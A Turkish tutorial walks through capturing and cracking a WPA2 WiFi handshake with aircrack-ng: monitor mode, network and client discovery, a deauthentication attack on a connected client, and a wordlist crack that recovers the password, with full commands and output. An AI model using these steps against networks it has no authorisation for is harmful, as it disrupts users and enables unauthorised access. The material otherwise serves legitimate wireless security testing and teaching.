

CRACKING WiFi WPA2 HANDSHAKE



RÜVEYDA DURUL

İçindekiler

CRACKING WIFI WPA2 HANDSHAKE	1
WiFi NEDİR?.....	3
WPA2 NEDİR?	3
AIRCRAK-NG NEDİR?	3
AIRCRAK-NG KURULUMU NASIL YAPILIR?	3
AIRCRAK-NG KULLANIMI VE WPA2 CRACK.....	3
REFERANSLAR.....	7

WiFi Nedir?

Wireless Fidelity yani kablosuz bağlantı alanı olarak adlandırılır. Bilgisayar, akıllı telefon, tablet, oyun konsolları, akıllı ev aletleri gibi cihazların kablosuz olarak birbirlerine bağlanmasını sağlayan teknolojidir.

WPA2 Nedir?

WiFi Protected Access 2 yani WiFi korumalı erişim olarak adlandırılır. Kablosuz cihazları korumak için gerçekleştirilen protokol ve sertifika programıdır. WEP, WPA, WPA2 ve WPA3 güvenlik önlemleri vardır. WPA2, WiFi Alliance tarafından daha önce yayınlanmış WEP (Wired Equivalent Privacy)'deki zafiyetleri kapatmak için WPA'dan sonra geliştirilmiştir.

AIRCRAK-NG Nedir?

WiFi ağ güvenliğini değerlendirmek için geliştirilen bir araçtır. WiFi güvenliğinin;

- İzleme
- Saldırı
- Test etme
- Parola tespit etme

alanlarında kullanılır. Ayrıntılı bilgi için <https://www.aircrack-ng.org/> web adresi kontrol edilmelidir.

AIRCRAK-NG Kurulumu Nasıl Yapılır?

Kali Linux'a kurulum için:

```
#sudo apt-get install aircrack-ng
```

AIRCRAK-NG Kullanımı ve WPA2 Crack

Ağ kartları keşfi için 'iwconfig' komutu kullanılır.

```
ruveydadurul@gopher:~/Documents/makale/exploitdb$ iwconfig
lo        no wireless extensions.

eth0      no wireless extensions.

gpd0      no wireless extensions.

vmnet1    no wireless extensions.

vmnet8    no wireless extensions.

wlan0     IEEE 802.11  ESSID:"exploitdb"
          Mode:Managed  Frequency:2.462 GHz  Access Point: EC:EC:EC:EC:EC:EC
          Bit Rate=72.2 Mb/s   Tx-Power=22 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:on
          Link Quality=64/70   Signal level=-46 dBm
          Rx invalid nwid:0   Rx invalid crypt:0   Rx invalid frag:0
          Tx excessive retries:0   Invalid misc:3   Missed beacon:0
```

Keşfedilen ağ kartlarında kablosuz ağ için kullanılan 'wlan0' ağ kartı tercih edilir. 'airmon-ng start wlan0' komutu ile seçilen ağ kartı monitor moda alınır.

```
ruveydadurul@gopher:~$ sudo airmon-ng start wlan0
[sudo] password for ruveydadurul:
Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

  PID Name
  737 NetworkManager
  921 wpa_supplicant

PHY   Interface  Driver      Chipset
----   -
phy0  wlan0      iwlwifi     Intel Corporation Wireless 3165 (rev 79)
      (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
      (mac80211 station mode vif disabled for [phy0]wlan0)
```

wlan0 ağ kartı monitor moda alınmak istenildiğinde NetworkManager ve wpa_supplicant process'leri sniff adımlarında sorun oluşturabilir. WiFi hacking adımlarına başlamadan önce process'ler 'airmon-ng check kill' komutu kullanılarak sonlandırılır.

```
ruveydadurul@gopher:~$ sudo airmon-ng check kill

Killing these processes:

  PID Name
  921 wpa_supplicant
```

Çalışan process'ler sonlandırıldığında 'iwconfig' komutu ile ağ kartları tekrar kontrol edilir. Kontrol sonucunda wlan0 ağ kartının wlan0mon olduğu ve monitor moda geçtiği görülür.

```
ruveydadurul@gopher:~/Documents/makale/exploitdb$ iwconfig
lo          no wireless extensions.

eth0       no wireless extensions.

gpd0       no wireless extensions.

vmnet1     no wireless extensions.

vmnet8     no wireless extensions.

wlan0mon   IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=-2147483648 dBm
Retry short limit:7  RTS thr:off  Fragment thr:off
Power Management:on
```

'airodump-ng wlan0mon' komutu ile ağ kartının keşfedebileceği alanda bulunan tüm kablosuz ağ yayınlarının keşfi yapılır. Örnekte 3 farklı kablosuz ağ yayını keşfedilmiştir. Bunlar exploitdb, AP1 ve AP2'dir.

```
CH 3 ][ Elapsed: 5 mins ][ 2021-09-01 22:46 ][

BSSID          PWR  Beacons    #Data, #/s  CH  MB  ENC CIPHER  AUTH  ESSID
-----
EC:EC:EC:EC:EC -48   321        5283   0 11  130  WPA2 CCMP  PSK  exploitdb
84:84:84:84:84 -62   412         20   0 5  130  WPA2 CCMP  PSK  AP1
8C:8C:8C:8C:8C -73   213         0   0 1  130  WPA2 CCMP  PSK  AP2

BSSID          STATION          PWR  Rate  Lost  Frames  Notes  Probes
-----
EC:EC:EC:EC:EC 4C:4C:4C:4C:4C -32  0e-0e  0     244    exploitdb
```

Keşfedilen kablosuz ağ yayınlarından saldırı gerçekleştirilecek yayının BSSID, CH, ENC değerleri kontrol edilir. Bu testte 'exploitdb' ESSID'si kullanılacaktır. 'airodump-ng --bssid EC:EC:EC:EC:EC:EC --channel 11 -w exploitdb' komutu kullanılarak exploitdb kablosuz ağ yayınına bağlı kullanıcıların keşfi gerçekleştirilmiştir.

```
CH 11 ][ Elapsed: 18 s ][ 2021-09-01 23:01 ][
BSSID          PWR RXQ Beacons  #Data, #/s CH  MB ENC CIPHER AUTH ESSID
EC:EC:EC:EC:EC -43  0    194    2550  12  11 130 WPA2 CCMP PSK exploitdb

BSSID          STATION          PWR   Rate    Lost  Frames  Notes  Probes
EC:EC:EC:EC:EC 04:04:04:04:04 -33   0e- 1e   712   3147
EC:EC:EC:EC:EC 4C:4C:4C:4C:4C -33   0e-36e  1    2438
EC:EC:EC:EC:EC A4:A4:A4:A4:A4 -33   0 - 6e  0    1
```

BSSID: Kablosuz ağ yayını yapan cihazın MAC adresi bilgisini verir.

CH: Kablosuz ağ yayınının kanal numarası bilgisini verir.

ENC: Kablosuz ağ yayınının encryption metodu bilgisini verir.

--bssid: Saldırı gerçekleştirilecek kablosuz ağ yayını yapan cihazın MAC adresi bilgisi verilir.

--channel: Saldırı gerçekleştirilecek kablosuz ağ yayınının skullandığı kanal numarası verilir.

-w: Write/yazmak anlamında kullanılır. Kablosuz ağ yayını hakkında toplanan bilgilerin kaydedileceği dosyanın adı verilir.

Kablosuz ağ yayınında keşfedilen kullanıcılardan herhangi birinin MAC adresi kullanılıp ağdan bağlantısını koparmak için 'aireplay-ng -O 100 -c 04:04:04:04:04:04 -a EC:EC:EC:EC:EC wlan0mon' komutu kullanılır. Kullanıcı ağa tekrar bağlanmaya çalıştığında kablosuz ağın parolasını keşfedebilmemiz için gerekli olan **WPA Handshake** yakalanır.

***Airplay-ng ile kullanıcıyı ağdan koparma adımı, kablosuz ağ yayınına bağlı kullanıcıları keşfettiğimiz terminal kapatılmadan yeni terminalde gerçekleştirilir.*

```
ruveydadurul@gopher:~/Documents/makale/exploitdb$ sudo aireplay-ng -O 100 -c 04:04:04:04:04:04 -a EC:EC:EC:EC:EC wlan0mon
23:01:22 Waiting for beacon frame (BSSID: EC:EC:EC:EC:EC) on channel 11
23:01:23 Sending 64 directed DeAuth (code 7), STMAC: [04:04:04:04:04:04] [61/66 ACKs]
23:01:23 Sending 64 directed DeAuth (code 7), STMAC: [04:04:04:04:04:04] [11/66 ACKs]
23:01:24 Sending 64 directed DeAuth (code 7), STMAC: [04:04:04:04:04:04] [2/64 ACKs]
23:01:25 Sending 64 directed DeAuth (code 7), STMAC: [04:04:04:04:04:04] [0/64 ACKs]
23:01:25 Sending 64 directed DeAuth (code 7), STMAC: [04:04:04:04:04:04] [3/64 ACKs]
23:01:26 Sending 64 directed DeAuth (code 7), STMAC: [04:04:04:04:04:04] [0/64 ACKs]
23:01:26 Sending 64 directed DeAuth (code 7), STMAC: [04:04:04:04:04:04] [34/84 ACKs]
23:01:27 Sending 64 directed DeAuth (code 7), STMAC: [04:04:04:04:04:04] [0/64 ACKs]
23:01:27 Sending 64 directed DeAuth (code 7), STMAC: [04:04:04:04:04:04] [0/64 ACKs]
23:01:28 Sending 64 directed DeAuth (code 7), STMAC: [04:04:04:04:04:04] [0/64 ACKs]
23:01:28 Sending 64 directed DeAuth (code 7), STMAC: [04:04:04:04:04:04] [0/63 ACKs]
23:01:29 Sending 64 directed DeAuth (code 7), STMAC: [04:04:04:04:04:04] [3/64 ACKs]
23:01:29 Sending 64 directed DeAuth (code 7), STMAC: [04:04:04:04:04:04] [0/64 ACKs]
23:01:30 Sending 64 directed DeAuth (code 7), STMAC: [04:04:04:04:04:04] [0/64 ACKs]
```

-O: Deauthentication saldırı yapılacağı belirtilir. -O(sıfır) yerine - -deauth komutu da kullanılabilir.

100: Kullanıcıya gönderilen paket sayısını belirtir.

-c: Kullanıcının MAC adresini belirtir.

-a: Saldırı gerçekleştirilen kablosuz ağ yayını yapan cihazın MAC adresini belirtir.

wlan0mon: Monitor moda alınmış ağ kartını belirtir.

Saldırıyı gerçekleştirdikten sonra kablosuz ağ yayınındaki kullanıcıların keşfedildiği terminalde kullanıcının PWR değerinin 0 olduğu görülür. Bu değer görüldüğünde kullanıcının saldırıdan etkilendiği anlaşılır. Sağ üst köşede WPA HANDSHAKE EC:EC:EC:EC:EC görüldüğünde parola saldırısı gerçekleştirilememiz için gerekli olan handshake'in yakalandığı anlaşılır.

```
CH 11 ][ Elapsed: 18 s ][ 2021-09-01 23:01 ][ WPA handshake: EC:EC:EC:EC:EC
BSSID          PWR RXQ  Beacons  #Data, #/s  CH  MB  ENC CIPHER  AUTH  ESSID
EC:EC:EC:EC:EC -43   0      194      2550  12  11  130  WPA2 CCMP  PSK  exploitdb

BSSID          STATION    PWR  Rate  Lost  Frames  Notes  Probes
EC:EC:EC:EC:EC 04:04:04:04:04:04  0    0e-1e  712   3147
EC:EC:EC:EC:EC 4C:4C:4C:4C:4C:4C -33   0e-30e  1    2438
EC:EC:EC:EC:EC A4:A4:A4:A4:A4:A4 -33   0 - 6e  0     1
```

Tüm terminaller kapatılarak yeni bir terminal açılır. Kaydedilen dosya kullanılarak parola tespiti gerçekleştirilir. Parola tespiti için saldırı gerçekleştirilen kablosuz ağa yönelik bir wordlist oluşturulur. Saldırıyı gerçekleştirmek için **'aircrack-ng -w wordlist.txt exploitdb.pcap'** komutu kullanılır. Wordlist içerisinde kablosuz ağ yayınının parolası mevcutsa KEY FOUND! alert'i ile parola tespiti görülecektir.

-w: Saldırı için kullanılacak wordlist bilgisi verilir.

exploitdb.pcap: WPA Handshake yakalanmış .pcap uzantılı dosyadır.

```
ruveydadurul@gopher:~/Documents/makale/exploitdb$ aircrack-ng -w wordlist.txt exploitdb-01.cap
Reading packets, please wait...
Opening exploitdb-01.cap
Read 162032 packets.

# BSSID          ESSID          Encryption
1 EC:EC:EC:EC:EC          WPA (1 handshake)

Choosing first network as target.

Reading packets, please wait...
Opening exploitdb-01.cap
Read 162032 packets.

1 potential targets

Aircrack-ng 1.6

[00:00:00] 3/5 keys tested (130.19 k/s)

Time left: 0 seconds          60.00%

KEY FOUND! [ exploitdb ]

Master Key   : 4B 87 74 D4 00 EA E9 B9 1E C7 94 5A C4 8E 70 5B
              17 2A 36 E8 9A 8C 50 C6 EB C2 54 6B 2F 30 FB 24

Transient Key : 14 FD 1F 55 A1 19 28 E2 CF 85 AC 09 4C E4 C5 E8
              0B 04 BF EB 96 EC BD 00 F5 64 10 5A 8D 85 A6 B2
              34 3D 40 18 CC 18 19 87 3A 3E 45 8F 66 74 94 1E
              EC D7 8A 5C 95 D2 AC F8 B1 F1 8E 35 A5 00 00 00

EAPOL HMAC   : 50 22 D6 95 2B 15 C8 A3 EE 03 A7 FF B8 B9 D6 74
```

Kablosuz ağ yayınının parolasının **'exploitdb'** olduğu tespit edilmiştir.

Referanslar

<https://tr.wikipedia.org/wiki/Wi-Fi>

https://media.defense.gov/2021/Jul/29/2002815141/-1/-1/0/CSI_SECUREING_WIRELESS_DEVICES_IN_PUBLIC.PDF

<https://www.aircrack-ng.org/doku.php?id=Main>